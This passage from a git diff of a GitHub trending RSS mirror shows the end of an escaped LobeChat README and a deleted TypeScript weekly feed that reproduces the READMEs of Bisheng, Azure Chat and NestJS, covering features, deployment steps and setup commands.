LaTex formulas, Mermaid flowcharts, and more;</li> <li><input type="checkbox" checked disabled> 🧩 <strong>Plugin Support &amp; Custom Plugin Development</strong>: Conversations are extendable with plugins. Users can install and use various plugins, such as search engines, web extraction, etc. It also supports the development of custom plugins to meet custom needs;</li> <li><input type="checkbox" checked disabled> 🔒 <strong>Privacy Protection</strong>: All data is stored locally in the user's browser, ensuring user privacy;</li> <li><input type="checkbox" checked disabled> 🤖 <strong>Customizable Agent Roles</strong>: Users can create, share, and debug personalized dialogue agent roles according to their needs, providing more flexible and personalized dialogue functions;</li> <li><input type="checkbox" checked disabled> 🌐 <strong>Custom Domain</strong>: If users have their own domain, they can bind it to the platform for quick access to the dialogue agent from anywhere.</li> <li><input type="checkbox" checked disabled> 🏬 <strong>Role Market</strong>: A Role Market is provided where users can select their preferred dialogue agent roles, enriching the content and style of the dialogue;</li> </ul> <blockquote> <p><strong>Note</strong><br> You can find our upcoming <a href="https://github.com/lobehub/lobe-chat/projects">Roadmap</a> plans in the Projects section.</p> </blockquote> <div align="right"> <p><a href="https://raw.githubusercontent.com/lobehub/lobe-chat/main/#readme-top"><img src="https://img.shields.io/badge/-BACK_TO_TOP-151515?style=flat-square" alt=""></a></p> </div> <h2>📸 Snapshot</h2> <p><img src="https://github-production-user-asset-6210df.s3.amazonaws.com/17870709/268670883-33c43a5c-a512-467e-855c-fa299548cce5.png" alt=""></p> <h4><code>1</code> Function Calling Plugin System</h4> <p>By building a powerful plugin ecosystem, ChatGPT not only can provide real-time news updates, but it can also assist you in easily querying documents and accessing various e-commerce data. This allows ChatGPT to play a key role in a wider range of fields. If you are interested in writing plugins, we provide detailed component development documentation, SDKs, and template files in the <a href="https://raw.githubusercontent.com/lobehub/lobe-chat/main/#-Plugin-System">🧩 Plugin System</a> section below. Let's work together to make ChatGPT more powerful and easier to use.</p> <br> <p><img src="https://github-production-user-asset-6210df.s3.amazonaws.com/17870709/268670869-f1ffbf66-42b6-42cf-a937-9ce1f8328514.png" alt=""></p> <h4><code>2</code> Prompt Agent Market</h4> <p>In our agent market, we have accumulated a large number of practical prompt agents that have been used in daily work and study. You can also share your agents here and iterate and optimize your prompt agents with more people. You can submit your agents through <a href="https://github.com/lobehub/lobe-chat-agents">🤖/🏪 Submit Agents</a>, and our automated i18n workflow will automatically translate your agents into multiple languages, allowing users around the world to enjoy your wisdom.</p> <br> <p><img src="https://gw.alipayobjects.com/zos/kitchen/69x6bllkX3/pwa.webp" alt=""></p> <h4><code>3</code> Progress Web App</h4> <p>Utilize the Progressive Web Application (<a href="https://support.google.com/chrome/answer/9658361">PWA</a>) technology to achieve a seamless LobeChat experience on your computer or mobile device.</p> <blockquote> <p><strong>Note</strong><br> If you are unfamiliar with the installation process of PWA, you can add LobeChat as your desktop application (also applicable to mobile devices) by following these steps:</p> <ul> <li>Launch the Chrome or Edge browser on your computer</li> <li>Visit the LobeChat webpage</li> <li>In the upper right corner of the address bar, click on the <kbd>Install</kbd> icon</li> <li>Follow the instructions on the screen to complete the PWA installation</li> </ul> </blockquote> <br> <p><img src="https://gw.alipayobjects.com/zos/kitchen/pvus1lo%26Z7/darkmode.webp" alt=""></p> <h4><code>4</code> Theme Mode Selection</h4> <p>LobeChat offers two unique theme modes - Light Mode and Dark Mode, as well as rich color customization options to meet your personalized needs. By default, our themes will intelligently switch based on your system settings, but if you prefer manual control, you can easily switch in the settings. <br></p> <p><img src="https://gw.alipayobjects.com/zos/kitchen/R441AuFS4W/mobile.webp" alt=""></p> <h4><code>5</code> Mobile Device Adaptation</h4> <p>We have carried out a series of optimization designs for mobile devices to enhance the user's mobile experience. Currently, we are iterating on the mobile user experience to achieve smoother and more intuitive interactions. If you have any suggestions or ideas, we welcome you to provide feedback through Github Issues or Pull Requests.</p> <blockquote> <p>🚧 Additional snapshots and demonstrations are being progressively added...</p> </blockquote> <div align="right"> <p><a href="https://raw.githubusercontent.com/lobehub/lobe-chat/main/#readme-top"><img src="https://img.shields.io/badge/-BACK_TO_TOP-151515?style=flat-square" alt=""></a></p> </div> <h2>🛳 Self Hosting</h2> <p>LobeChat provides a <a href="https://vercel.com/new/clone?repository-link=https%3A%2F%2Fgithub.com%2Flobehub%2Flobe-chat&amp;env=OPENAI_API_KEY&amp;envDescription=Find%20your%20OpenAI%20API%20Key%20by%20click%20the%20right%20Learn%20More%20button.%20%20&amp;envLink=https%3A%2F%2Fplatform.openai.com%2Faccount%2Fapi-keys&amp;project-name=lobe-chat&amp;repository-name=lobe-chat">self-hosted version</a> with Vercel. This allows you to build your own chatbot within a few minutes, without any prior knowledge. If you want to deploy this service yourself, you can follow these steps:</p> <ul> <li>Prepare your <a href="https://platform.openai.com/account/api-keys">OpenAI API Key</a>.</li> <li>Click the button below to start deployment: Deploy with Vercel. Log in directly with your Github account and remember to fill in the API Key and access code CODE on the environment variable page;</li> <li>After deployment, you can start using it;</li> <li>Bind a custom domain (optional): The DNS of the domain assigned by Vercel is polluted in some areas, binding a custom domain can connect directly.</li> </ul> <p><a href="https://vercel.com/new/clone?repository-link=https%3A%2F%2Fgithub.com%2Flobehub%2Flobe-chat&amp;env=OPENAI_API_KEY&amp;envDescription=Find%20your%20OpenAI%20API%20Key%20by%20click%20the%20right%20Learn%20More%20button.%20%20&amp;envLink=https%3A%2F%2Fplatform.openai.com%2Faccount%2Fapi-keys&amp;project-name=lobe-chat&amp;repository-name=lobe-chat"><img src="https://vercel.com/button" alt="Deploy with Vercel"></a></p> <blockquote> <p><strong>Note</strong><br> This project provides some additional configuration items, set with environment variables:</p> </blockquote> <table> <thead> <tr> <th>Environment Variable</th> <th>Required</th> <th>Description</th> <th>Example</th> </tr> </thead> <tbody> <tr> <td><code>OPENAI_API_KEY</code></td> <td>Yes</td> <td>This is the API key you apply on the OpenAI account page</td> <td><code>sk-xxxxxx...xxxxxx</code></td> </tr> <tr> <td><code>OPENAI_PROXY_URL</code></td> <td>No</td> <td>If you manually configure the OpenAI interface proxy, you can use this configuration item to override the default OpenAI API request base URL</td> <td><code>https://api.chatanywhere.cn</code><br>The default value is<br><code>https://api.openai.com</code></td> </tr> <tr> <td><code>ACCESS_CODE</code></td> <td>No</td> <td>Add a password to access this service, the password should be a 6-digit number or letter</td> <td><code>awCT74</code> or <code>e3@09!</code></td> </tr> </tbody> </table> <h3>Keep Updated</h3> <p>If you have deployed your own project following the one-click deployment steps in the README, you might encounter constant prompts indicating "updates available". This is because Vercel defaults to creating a new project instead of forking this one, resulting in an inability to accurately detect updates. We suggest you redeploy using the following steps, <a href="https://github.com/lobehub/lobe-chat/wiki/Upstream-Sync">📘 Maintaining Updates with LobeChat Self-Deployment</a>.</p> <div align="right"> <p><a href="https://raw.githubusercontent.com/lobehub/lobe-chat/main/#readme-top"><img src="https://img.shields.io/badge/-BACK_TO_TOP-151515?style=flat-square" alt=""></a></p> </div> <h2>📦 Ecosystem</h2> <table> <thead> <tr> <th>NPM</th> <th>Repository</th> <th>Description</th> <th>Version</th> </tr> </thead> <tbody> <tr> <td><a href="https://www.npmjs.com/package/@lobehub/ui">@lobehub/ui</a></td> <td><a href="https://github.com/lobehub/lobe-ui">lobehub/lobe-ui</a></td> <td>Lobe UI is an open-source UI component library dedicated to building AIGC web applications.</td> <td><a href="https://www.npmjs.com/package/@lobehub/ui"><img src="https://img.shields.io/npm/v/@lobehub/ui?color=369eff&amp;labelColor=black&amp;logo=npm&amp;logoColor=white&amp;style=flat-square" alt=""></a></td> </tr> <tr> <td><a href="https://www.npmjs.com/package/@lobehub/lint">@lobehub/lint</a></td> <td><a href="https://github.com/lobehub/lobe-lint">lobehub/lobe-lint</a></td> <td>LobeLint provides configurations for ESlint, Stylelint, Commitlint, Prettier, Remark, and Semantic Release for LobeHub.</td> <td><a href="https://www.npmjs.com/package/@lobehub/lint"><img src="https://img.shields.io/npm/v/@lobehub/lint?color=369eff&amp;labelColor=black&amp;logo=npm&amp;logoColor=white&amp;style=flat-square" alt=""></a></td> </tr> <tr> <td>@lobehub/assets</td> <td><a href="https://github.com/lobehub/lobe-assets">lobehub/assets</a></td> <td>Logo assets, favicons, webfonts for LobeHub.</td> <td></td> </tr> </tbody> </table> <div align="right"> <p><a href="https://raw.githubusercontent.com/lobehub/lobe-chat/main/#readme-top"><img src="https://img.shields.io/badge/-BACK_TO_TOP-151515?style=flat-square" alt=""></a></p> </div> <h2>🧩 Plugins</h2> <p>Plugins provide a means to extend the <a href="https://sspai.com/post/81986">Function Calling</a> capabilities of LobeChat. They can be used to introduce new function calls, and even new ways to render message results. If you are interested in plugin development, please refer to our <a href="https://github.com/lobehub/lobe-chat/wiki/Plugin-Development">📘 Plugin Development Guide</a> in the Wiki.</p> <blockquote> <p><strong>Note</strong><br> The plugin system is currently undergoing major development. You can learn more in the following issues:</p> <ul> <li>[x] <a href="https://github.com/lobehub/lobe-chat/issues/73"><strong>Plugin Phase 1</strong></a>: Implement separation of the plugin from the main body, split the plugin into an independent repository for maintenance, and realize dynamic loading of the plugin.</li> <li>[x] <a href="https://github.com/lobehub/lobe-chat/issues/97"><strong>Plugin Phase 2</strong></a>: The security and stability of the plugin's use, more accurately presenting abnormal states, the maintainability of the plugin architecture and developer-friendly.</li> <li>[ ] <a href="https://github.com/lobehub/lobe-chat/issues/149"><strong>Plugin Phase 3</strong></a>: Higher-level and more comprehensive customization capabilities, support for plugin authentication and examples.</li> </ul> </blockquote> <ul> <li><a href="https://github.com/lobehub/lobe-chat-plugins">@lobehub/lobe-chat-plugins</a>: This is the plugin index for LobeChat. It accesses index.json from this repository to display a list of available plugins for LobeChat to the user.</li> <li><a href="https://github.com/lobehub/chat-plugin-sdk">@lobehub/chat-plugin-sdk</a>: The LobeChat Plugin SDK assists you in creating exceptional chat plugins for Lobe Chat.</li> <li><a href="https://github.com/lobehub/chat-plugins-gateway">@lobehub/chat-plugins-gateway</a>: The LobeChat Plugins Gateway is a backend service that serves as a gateway for LobeChat plugins. We deploy this service using Vercel. The primary API POST /api/v1/runner is deployed as an Edge Function.</li> </ul> <table> <thead> <tr> <th>Official Plugin</th> <th>Description</th> </tr> </thead> <tbody> <tr> <td><a href="https://github.com/lobehub/chat-plugin-search-engine">SearchEngine</a></td> <td>This plugin allows for the use of the SerpApi search engine.</td> </tr> <tr> <td><a href="https://github.com/lobehub/chat-plugin-realtime-weather">RealtimeWeather</a></td> <td>This plugin provides practical weather information by obtaining real-time weather data and can automatically update based on the user's location.</td> </tr> <tr> <td><a href="https://github.com/lobehub/chat-plugin-web-crawler">WebsiteCrawler</a></td> <td>This plugin automatically crawls the main content of a specified URL webpage and uses it as context input.</td> </tr> </tbody> </table> <div align="right"> <p><a href="https://raw.githubusercontent.com/lobehub/lobe-chat/main/#readme-top"><img src="https://img.shields.io/badge/-BACK_TO_TOP-151515?style=flat-square" alt=""></a></p> </div> <h2>⌨️ Local Development</h2> <p>You can use Github Codespaces for online development:</p> <p><a href="https://codespaces.new/lobehub/lobe-chat"><img src="https://github.com/codespaces/badge.svg?sanitize=true" alt=""></a></p> <p>Or clone it for local development:</p> <p><a href="https://bun.sh"><img src="https://img.shields.io/badge/-speedup%20with%20bun-black?logo=bun&amp;style=for-the-badge" alt=""></a></p> <pre><code class="language-bash">$ git clone https://github.com/lobehub/lobe-chat.git $ cd lobe-chat $ bun install $ bun dev </code></pre> <div align="right"> <p><a href="https://raw.githubusercontent.com/lobehub/lobe-chat/main/#readme-top"><img src="https://img.shields.io/badge/-BACK_TO_TOP-151515?style=flat-square" alt=""></a></p> </div> <h2>🤝 Contributing</h2> <p>Contributions of all types are more than welcome, if you are interested in contributing code, feel free to check out our GitHub <a href="https://github.com/lobehub/lobe-chat/issues">Issues</a> and <a href="https://github.com/lobehub/lobe-chat/projects">Projects</a> to get stuck in to show us what you’re made of.</p> <p><a href="https://github.com/lobehub/lobe-chat/pulls"><img src="https://img.shields.io/badge/%F0%9F%A4%AF_pr_welcome-%E2%86%92-ffcb47?labelColor=black&amp;style=for-the-badge" alt=""></a> <a href="https://github.com/lobehub/lobe-chat-agents"><img src="https://img.shields.io/badge/%F0%9F%A4%96/%F0%9F%8F%AA_submit_agent-%E2%86%92-c4f042?labelColor=black&amp;style=for-the-badge" alt=""></a> <a href="https://github.com/lobehub/lobe-chat-plugins"><img src="https://img.shields.io/badge/%F0%9F%A7%A9/%F0%9F%8F%AA_submit_plugin-%E2%86%92-95f3d9?labelColor=black&amp;style=for-the-badge" alt=""></a></p> <p><a href="https://github.com/lobehub/lobe-chat/graphs/contributors"><img src="https://contrib.rocks/image?repo=lobehub/lobe-chat" alt=""></a></p> <div align="right"> <p><a href="https://raw.githubusercontent.com/lobehub/lobe-chat/main/#readme-top"><img src="https://img.shields.io/badge/-BACK_TO_TOP-151515?style=flat-square" alt=""></a></p> </div> <h2>🔗 More Products</h2> <ul> <li><strong><a href="https://github.com/lobehub/sd-webui-lobe-theme">🤯 Lobe Theme</a> :</strong> The modern theme for stable diffusion webui, exquisite interface design, highly customizable UI, and efficiency boosting features.</li> <li><strong><a href="https://github.com/lobehub/lobe-commit/tree/master/packages/lobe-i18n">🌏 Lobe i18n</a> :</strong> Lobe i18n is an automation tool for the i18n (internationalization) translation process, powered by ChatGPT. It supports features such as automatic splitting of large files, incremental updates, and customization options for the OpenAI model, API proxy, and temperature.</li> <li><strong><a href="https://github.com/lobehub/lobe-commit/tree/master/packages/lobe-commit">💌 Lobe Commit</a> :</strong> Lobe Commit is a CLI tool that leverages Langchain/ChatGPT to generate Gitmoji-based commit messages.</li> </ul> <div align="right"> <p><a href="https://raw.githubusercontent.com/lobehub/lobe-chat/main/#readme-top"><img src="https://img.shields.io/badge/-BACK_TO_TOP-151515?style=flat-square" alt=""></a></p> </div> <hr> <details> <summary><h4>📝 License</h4></summary> <p><a href="https://app.fossa.com/projects/git%2Bgithub.com%2Flobehub%2Flobe-chat"><img src="https://app.fossa.com/api/projects/git%2Bgithub.com%2Flobehub%2Flobe-chat.svg?type=large" alt=""></a></p> </details> <p>Copyright © 2023 <a href="https://github.com/lobehub">LobeHub</a>. <br> This project is <a href="https://raw.githubusercontent.com/lobehub/lobe-chat/main/LICENSE">MIT</a> licensed.</p> <!-- LINK GROUP --> \ No newline at end of file diff --git a/typescript/weekly/index.xml b/typescript/weekly/index.xml deleted file mode 100644 index e456f78dc76..00000000000 --- a/typescript/weekly/index.xml +++ /dev/null @@ -1,28 +0,0 @@ - - GitHub TypeScript Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T02:03:12Z - Weekly Trending of TypeScript in GitHub - - - dataelement/bisheng - 2023-09-24T02:03:12Z - tag:github.com,2023-09-24:/dataelement/bisheng - - <p>Bisheng is an open LLM devops platform for next generation AI applications.</p><hr><img src="https://www.dataelem.com/nstatic/bisheng.png" alt="Bisheng banner"> <div class="column" align="middle"> <!-- <a href="https://bisheng.slack.com/join/shared_invite/"> --> <!-- <img src="https://img.shields.io/badge/Join-Slack-orange" alt="join-slack"/> --> <!-- <img src="https://img.shields.io/github/license/bisheng-io/bisheng" alt="license"/> --> <!-- <img src="https://img.shields.io/docker/pulls/bisheng-io/bisheng" alt="docker-pull-count" /> --> </div> <h1>欢迎来到 Bisheng</h1> <h2>Bisheng 是什么</h2> <p>Bisheng是一款领先的开源<b>大模型应用开发平台</b>,赋能和加速大模型应用开发落地,帮助用户以最佳体验进入下一代应用开发模式。</p> <p>“毕昇”是活字印刷术的发明人,活字印刷术为人类知识的传递起到了巨大的推动作用。我们希望“毕昇”同样能够为智能应用的广泛落地提供有力的支撑。欢迎大家一道参与。</p> <p>Bisheng 基于 <a href="https://github.com/dataelement/bisheng/raw/main/LICENSE">Apache 2.0 License</a> 协议发布,于 2023 年 8 月底正式开源。</p> <h2>产品亮点</h2> <ul> <li>便捷:即使是业务人员,基于我们预置的应用模板,通过简单直观的表单填写方式快速搭建以大模型为核心的智能应用。</li> <li>灵活:对大模型技术有了解的人员,我们紧跟最前沿大模型技术生态提供数百种开发组件,基于可视化且自由的流程编排能力,可开发出任意类型的大模型应用,而不仅是简单的提示词工程。</li> <li>可靠与企业级:当前许多同类的开源项目仅适用于实验测试场景,缺少真正生产使用的企业级特性,包括:高并发下的高可用、应用运营及效果持续迭代优化、贴合真实业务场景的实用功能等,这些都是毕昇平台的差异化能力;另外,更直观的是,企业内的数据质量参差不齐,想要真正把所有数据利用起来,首先需要有完备的非结构化数据治理能力,而这是过去几年我们团队所积累的核心能力,在毕昇的demo环境中您可以通过相关组件直接接入这些能力,并且这些能力免费不限量使用。</li> </ul> <h2>产品应用</h2> <p>使用毕昇平台,我们可以搭建各类丰富的大模型应用:</p> <p>分析报告生成</p> <ul> <li>📃 合同审核报告生成</li> <li>🏦 信贷调查报告生成</li> <li>📈 招股书分析报告生成</li> <li>💼 智能投顾报告生成</li> <li>👀 文档摘要生成</li> </ul> <p>知识库问答</p> <ul> <li>👩‍💻 用户手册问答</li> <li>👩🏻‍🔬 研报知识库问答</li> <li>🗄 规章制度问答</li> <li>💊 《中华药典》知识问答</li> <li>📊 股价数据库问答</li> </ul> <p>对话</p> <ul> <li>🎭 扮演面试官对话</li> <li>📍 小红书文案助手</li> <li>👩‍🎤 扮演外教对话</li> <li>👨‍🏫 简历优化助手</li> </ul> <p>要素提取</p> <ul> <li>📄 合同关键要素提取</li> <li>🏗️ 工程报告要素提取</li> <li>🗂️ 通用元数据提取</li> <li>🎫 卡证票据要素提取</li> </ul> <p>各类应用构建方法详见:<a href="https://m7a7tqsztt.feishu.cn/wiki/ZfkmwLPfeiAhQSkK2WvcX87unxc">应用案例</a></p> <p>我们认为在企业真实场景中,“对话”仅是众多交互形式中的一种,未来我们还将新增流程自动化、搜索等更多应用形态的支持。</p> <h2>快速开始</h2> <h3>启动 Bisheng</h3> <ul> <li><a href="https://m7a7tqsztt.feishu.cn/wiki/BSCcwKd4Yiot3IkOEC8cxGW7nPc">安装 Bisheng</a></li> </ul> <h3>源码编译 Bisheng</h3> <p>Todo: 待补充</p> <p>获取更多内容,请阅读 <a href="https://m7a7tqsztt.feishu.cn/wiki/ITmJwMXVliBnzpkW3nkcqPVrnse">开发者文档</a>。</p> <h2>贡献代码</h2> <p>欢迎向 Bisheng 社区贡献你的代码。代码贡献流程或提交补丁等相关信息详见 <a href="https://github.com/dataelement/bisheng/raw/main/CONTRIBUTING.md">代码贡献准则</a>。 参考 <a href="https://github.com/dataelement/community">社区仓库</a> 了解社区管理准则并获取更多社区资源。</p> <!-- ### All contributors --> <!-- Do not remove end of hero-bot --> <br> <h2>Bisheng 文档</h2> <p>获取更多有关安装、开发、部署和管理的指南,请查看 <a href="https://m7a7tqsztt.feishu.cn/wiki/ZxW6wZyAJicX4WkG0NqcWsbynde">Bisheng 文档</a>.</p> <h2>社区</h2> <ul> <li>欢迎加入 <a href="https://www.dataelem.com/">Slack</a> 频道分享你的建议与问题。</li> <li>你也可以通过 <a href="https://m7a7tqsztt.feishu.cn/wiki/XdGCwkDJviC0Z8klbdbcF790n9b">FAQ</a> 页面,查看常见问题及解答。</li> <li>你也可以加入 <a href="https://github.com/dataelement/bisheng/discussions">讨论组</a> 发起问题和讨论。</li> </ul> <!-- 订阅 Bisheng 邮件: - [Technical Steering Committee](https://www.dataelem.com/) - [Technical Discussions](https://www.dataelem.com/) - [Announcement](https://www.dataelem.com/) --> <p>关注 Bisheng 社交媒体:</p> <!-- - [知乎](https://www.zhihu.com/org/bisheng-io) - [CSDN](http://bishengio.blog.csdn.net/) - [Bilibili](http://space.bilibili.com/xxxxx) --> <ul> <li>Bisheng 技术交流微信群</li> </ul> <img src="https://www.dataelem.com/nstatic/qrcode.png" alt="Wechat QR Code"> <h2>加入我们</h2> <p>DataElem Inc. 是 Bisheng 项目的幕后公司。我们正在 <a href="https://www.dataelem.com/contact/team">招聘</a> 算法、开发和全栈工程师。欢迎加入我们,让我们携手构建下一代的智能应用开发平台。</p> <h2>特别感谢</h2> <p>Bisheng 采用了以下依赖库:</p> <ul> <li>感谢开源模型预估框架 <a href="https://github.com/triton-inference-server">Triton</a> 。</li> <li>感谢开源LLM应用开发库 <a href="https://github.com/langchain-ai/langchain">langchain</a>。</li> <li>感谢开源非结构化数据解析引擎 <a href="https://github.com/Unstructured-IO/unstructured">unstructured</a>。</li> <li>感谢开源langchain可视化工具 <a href="https://github.com/logspace-ai/langflow">langflow</a>。</li> </ul> - - - microsoft/azurechat - 2023-09-24T02:03:12Z - tag:github.com,2023-09-24:/microsoft/azurechat - - <p>🤖 💼 Azure Chat Solution Accelerator powered by Azure Open AI Service</p><hr><h1>Unleash the Power of Azure Open AI</h1> <ol> <li><a href="https://raw.githubusercontent.com/microsoft/azurechat/main/#introduction">Introduction</a></li> <li><a href="https://raw.githubusercontent.com/microsoft/azurechat/main/docs/1-introduction.md">Solution Overview</a></li> <li><a href="https://raw.githubusercontent.com/microsoft/azurechat/main/#deploy-to-azure">Deploy to Azure</a></li> <li><a href="https://raw.githubusercontent.com/microsoft/azurechat/main/docs/3-run-locally.md">Run from your local machine</a></li> <li><a href="https://raw.githubusercontent.com/microsoft/azurechat/main/docs/4-deploy-to-azure.md">Deploy to Azure with GitHub Actions</a></li> <li><a href="https://raw.githubusercontent.com/microsoft/azurechat/main/docs/5-add-identity.md">Add identity provider</a></li> <li><a href="https://raw.githubusercontent.com/microsoft/azurechat/main/docs/6-chat-over-file.md">Chatting with your file</a></li> <li><a href="https://raw.githubusercontent.com/microsoft/azurechat/main/docs/7-environment-variables.md">Environment variables</a></li> </ol> <h1>Introduction</h1> <p><em>Azure Chat Solution Accelerator powered by Azure Open AI Service</em></p> <p><img src="https://raw.githubusercontent.com/microsoft/azurechat/main/images/intro.png" alt=""></p> <p><em>Azure Chat Solution Accelerator powered by Azure Open AI Service</em> is a solution accelerator that allows organisations to deploy a private chat tenant in their Azure Subscription, with a familiar user experience and the added capabilities of chatting over your data and files.</p> <p>Benefits are:</p> <ol> <li> <p>Private: Deployed in your Azure tenancy, allowing you to isolate it to your Azure tenant.</p> </li> <li> <p>Controlled: Network traffic can be fully isolated to your network and other enterprise grade authentication security features are built in.</p> </li> <li> <p>Value: Deliver added business value with your own internal data sources (plug and play) or integrate with your internal services (e.g., ServiceNow, etc).</p> </li> </ol> <h1>Deploy to Azure</h1> <p>You can provision Azure resources for the solution accelerator using either the Azure Developer CLI or the Deploy to Azure button below. Regardless of the method you chose you will still need set up an <a href="https://raw.githubusercontent.com/microsoft/azurechat/main/5-add-identity.md">identity provider and specify an admin user</a></p> <h2>Deployment Options</h2> <p>You can deploy the application using one of the following options:</p> <ul> <li><a href="https://raw.githubusercontent.com/microsoft/azurechat/main/#azure-developer-cli">1. Azure Developer CLI</a></li> <li><a href="https://raw.githubusercontent.com/microsoft/azurechat/main/#azure-portal-deployment">2. Azure Portal Deployment</a></li> </ul> <h3>1. Azure Developer CLI</h3> <blockquote> <p><strong>Important</strong> This section will create Azure resources and deploy the solution from your local environment using the Azure Developer CLI. Note that you do not need to clone this repo to complete these steps.</p> </blockquote> <ol> <li>Download the <a href="https://learn.microsoft.com/en-us/azure/developer/azure-developer-cli/overview">Azure Developer CLI</a></li> <li>Run <code>azd init -t microsoft/azurechat</code></li> <li>Run <code>azd up</code> to provision and deploy the application</li> </ol> <h3>2. Azure Portal Deployment</h3> <blockquote> <p><strong>Warning</strong> This button will only create Azure resources. You will still need to deploy the application by following the <a href="https://raw.githubusercontent.com/microsoft/azurechat/main/4-deploy-to-azure.md">deploy to Azure section</a> to build and deploy the application using GitHub actions.</p> </blockquote> <p>Click on the Deploy to Azure button to deploy the Azure resources for the application.</p> <p><a href="https://aka.ms/anzappazurechatgpt"><img src="https://aka.ms/deploytoazurebutton" alt="Deploy to Azure"></a></p> <h2>Setup Authentication</h2> <blockquote> <p><strong>Important</strong> The application is protected by an identity provider and follow the steps in <a href="https://raw.githubusercontent.com/microsoft/azurechat/main/5-add-identity.md">Add an identity provider</a> section for adding authentication to your app.</p> </blockquote> <p><a href="https://raw.githubusercontent.com/microsoft/azurechat/main/docs/1-introduction.md">Next</a></p> <h1>Contributing</h1> <p>This project welcomes contributions and suggestions. Most contributions require you to agree to a Contributor License Agreement (CLA) declaring that you have the right to, and actually do, grant us the rights to use your contribution. For details, visit <a href="https://cla.opensource.microsoft.com">https://cla.opensource.microsoft.com</a>.</p> <p>When you submit a pull request, a CLA bot will automatically determine whether you need to provide a CLA and decorate the PR appropriately (e.g., status check, comment). Simply follow the instructions provided by the bot. You will only need to do this once across all repos using our CLA.</p> <p>This project has adopted the <a href="https://opensource.microsoft.com/codeofconduct/">Microsoft Open Source Code of Conduct</a>. For more information see the <a href="https://opensource.microsoft.com/codeofconduct/faq/">Code of Conduct FAQ</a> or contact <a href="mailto:opencode@microsoft.com">opencode@microsoft.com</a> with any additional questions or comments.</p> <h1>Trademarks</h1> <p>This project may contain trademarks or logos for projects, products, or services. Authorized use of Microsoft trademarks or logos is subject to and must follow <a href="https://www.microsoft.com/en-us/legal/intellectualproperty/trademarks/usage/general">Microsoft's Trademark &amp; Brand Guidelines</a>. Use of Microsoft trademarks or logos in modified versions of this project must not cause confusion or imply Microsoft sponsorship. Any use of third-party trademarks or logos are subject to those third-party's policies.</p> - - - nestjs/nest - 2023-09-24T02:03:12Z - tag:github.com,2023-09-24:/nestjs/nest - - <p>A progressive Node.js framework for building efficient, scalable, and enterprise-grade server-side applications with TypeScript/JavaScript 🚀</p><hr><p align="center"> <a href="https://nestjs.com/" target="blank"><img src="https://nestjs.com/img/logo-small.svg?sanitize=true" width="120" alt="Nest Logo"></a> </p> <p align="center">A progressive <a href="https://nodejs.org" target="_blank">Node.js</a> framework for building efficient and scalable server-side applications.</p> <p align="center"> <a href="https://www.npmjs.com/~nestjscore" target="_blank"><img src="https://img.shields.io/npm/v/@nestjs/core.svg?sanitize=true" alt="NPM Version"></a> <a href="https://www.npmjs.com/~nestjscore" target="_blank"><img src="https://img.shields.io/npm/l/@nestjs/core.svg?sanitize=true" alt="Package License"></a> <a href="https://www.npmjs.com/~nestjscore" target="_blank"><img src="https://img.shields.io/npm/dm/@nestjs/common.svg?sanitize=true" alt="NPM Downloads"></a> <a href="https://circleci.com/gh/nestjs/nest" target="_blank"><img src="https://img.shields.io/circleci/build/github/nestjs/nest/master" alt="CircleCI"></a> <a href="https://discord.gg/G7Qnnhy" target="_blank"><img src="https://img.shields.io/badge/discord-online-brightgreen.svg?sanitize=true" alt="Discord"></a> <a href="https://opencollective.com/nest#backer" target="_blank"><img src="https://opencollective.com/nest/backers/badge.svg?sanitize=true" alt="Backers on Open Collective"></a> <a href="https://opencollective.com/nest#sponsor" target="_blank"><img src="https://opencollective.com/nest/sponsors/badge.svg?sanitize=true" alt="Sponsors on Open Collective"></a> <a href="https://paypal.me/kamilmysliwiec" target="_blank"><img src="https://img.shields.io/badge/Donate-PayPal-ff3f59.svg?sanitize=true"></a> <a href="https://opencollective.com/nest#sponsor" target="_blank"><img src="https://img.shields.io/badge/Support%20us-Open%20Collective-41B883.svg?sanitize=true" alt="Support us"></a> <a href="https://twitter.com/nestframework" target="_blank"><img src="https://img.shields.io/twitter/follow/nestframework.svg?style=social&amp;label=Follow"></a> </p> <!--[![Backers on Open Collective](https://opencollective.com/nest/backers/badge.svg)](https://opencollective.com/nest#backer) [![Sponsors on Open Collective](https://opencollective.com/nest/sponsors/badge.svg)](https://opencollective.com/nest#sponsor)--> <h2>Description</h2> <p>Nest is a framework for building efficient, scalable <a href="https://nodejs.org" target="_blank">Node.js</a> server-side applications. It uses modern JavaScript, is built with <a href="https://www.typescriptlang.org" target="_blank">TypeScript</a> (preserves compatibility with pure JavaScript) and combines elements of OOP (Object Oriented Programming), FP (Functional Programming), and FRP (Functional Reactive Programming).</p> <p>Under the hood, Nest makes use of <a href="https://expressjs.com/" target="_blank">Express</a>, but also, provides compatibility with a wide range of other libraries, like e.g. <a href="https://github.com/fastify/fastify" target="_blank">Fastify</a>, allowing for easy use of the myriad third-party plugins which are available.</p> <h2>Philosophy</h2> <p>In recent years, thanks to Node.js, JavaScript has become the “lingua franca” of the web for both front and backend applications, giving rise to awesome projects like <a href="https://angular.io/" target="_blank">Angular</a>, <a href="https://github.com/facebook/react" target="_blank">React</a> and <a href="https://github.com/vuejs/vue" target="_blank">Vue</a> which improve developer productivity and enable the construction of fast, testable, extensible frontend applications. However, on the server-side, while there are a lot of superb libraries, helpers and tools for Node, none of them effectively solve the main problem - the architecture.</p> <p>Nest aims to provide an application architecture out of the box which allows for effortless creation of highly testable, scalable, loosely coupled and easily maintainable applications. The architecture is heavily inspired by Angular.</p> <h2>Getting started</h2> <ul> <li>To check out the <a href="https://docs.nestjs.com">guide</a>, visit <a href="https://docs.nestjs.com">docs.nestjs.com</a>. <span>📚</span></li> <li>要查看中文 <a href="https://raw.githubusercontent.com/nestjs/nest/master/readme_zh.md">指南</a>, 请访问 <a href="https://docs.nestjs.cn">docs.nestjs.cn</a>. <span>📚</span></li> <li><a href="https://raw.githubusercontent.com/nestjs/nest/master/readme_kr.md">가이드</a> 문서는 <a href="https://docs.nestjs.com">docs.nestjs.com</a>에서 확인하실 수 있습니다. <span>📚</span></li> <li><a href="https://raw.githubusercontent.com/nestjs/nest/master/readme_jp.md">ガイド</a>は <a href="https://docs.nestjs.com">docs.nestjs.com</a>でご確認ください。 <span>📚</span></li> </ul> <h2>Questions</h2> <p>For questions and support please use the official <a href="https://discord.gg/G7Qnnhy">Discord channel</a>. The issue list of this repo is <strong>exclusively</strong> for bug reports and feature requests.</p> <h2>Issues</h2> <p>Please make sure to read the <a href="https://github.com/nestjs/nest/raw/master/CONTRIBUTING.md#-submitting-an-issue">Issue Reporting Checklist</a> before opening an issue. Issues not conforming to the guidelines may be closed immediately.</p> 